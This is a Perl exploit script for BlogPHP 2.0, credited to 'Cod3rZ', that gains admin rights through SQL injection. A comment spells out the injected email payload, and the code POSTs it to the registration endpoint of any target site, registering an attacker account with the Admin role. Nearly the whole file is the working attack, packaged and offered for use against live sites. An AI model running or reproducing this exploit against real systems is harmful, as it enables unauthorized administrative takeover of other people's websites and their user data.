#!/usr/bin/perl
# BlogPHP 2.0 Remote Privilege Escalation Exploit
# Author : Cod3rZ
# Site : http://cod3rz.helloweb.eu
# Site : http://devilsnight.altervista.org
# Cuz We Back Rude This Time
#
# Privilege Escalation
# Send a request to http://127.0.0.1/BlogPHPv2/index.php?act=register2 with:
# username=[yourusername]&password=[yourpass]&email=[yourmail]','Admin','','','','','','','','','','','','')/*
#
# There are other bugs, find them yourself
#
# Usage: perl bp.pl <site> <user> <pass> <mail>
system('cls');
#system('clear');
use LWP::UserAgent;
use HTTP::Request::Common;
$site = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];
$mail = $ARGV[3];
print " -------------------------------------------------\n";
print " BlogPHP 2.0 Remote Privilege Escalation Exploit \n";
print " Powered by Cod3rZ \n";
print " http://cod3rz.helloweb.eu \n";
print " -------------------------------------------------\n";
sub usage {
print " Usage: perl bp.pl <site> <user> <pass> <mail> \n";
print " -------------------------------------------------\n";
}
if(!$mail) { &usage; }
else {
if ($site !~ /http:\/\//) { $site = "http://".$site; }
print " Site: $site \n";
print " User: $user \n";
print " Pass: $pass \n";
print " Mail: $mail \n";
print " -------------------------------------------------\n";
print " Please Wait \n";
print " -------------------------------------------------\n";
$ua = LWP::UserAgent->new;
$lwp = $ua->request(POST $site.'index.php?act=register2',
[ username => $user, password => $pass, email => $mail."','Admin','','','','','','','','','','','','')/*" ]);
if($lwp->content =~ /Your now registered and logged in/) {
print " Done. Now you're admin \n";
print " -------------------------------------------------\n";
}
else {
print " Failed. \n";
print " -------------------------------------------------\n";
}
}
